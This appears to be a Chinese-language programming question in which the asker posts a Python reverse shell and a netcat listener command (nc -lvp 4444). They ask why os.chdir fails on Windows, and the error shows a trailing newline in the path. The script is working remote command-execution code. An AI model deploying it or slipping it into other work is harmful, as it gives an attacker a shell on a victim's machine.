我试图用netcat在python(reverse tcp ip)中编写一个反向shell,但我无法使用模块os.chdir()更改目录这是我的代码:
import socket
import subprocess
import os
host = 'localhost'
port = 4444
s = socket.socket()
s.connect((host,port))
while True:
directory = ("\n" + os.getcwd() + ">")
directory = directory.encode()
s.send(directory)
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
else:
comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE)
out,x = comm.communicate()
s.send(out)
我继续使用 netcat 监听 4444 端口:nc -lvp 4444 在这里运行我的 scrypt 是错误的:
file "reverse-tcp.py", line 20, in <module>
os.chdir(data[3:].decode('utf-8'))
OSError: [WinError 123]
A syntax of file name, directory, or volume is incorrect
'C:\\Users\\Isabelle\\Desktop\\dossier\n'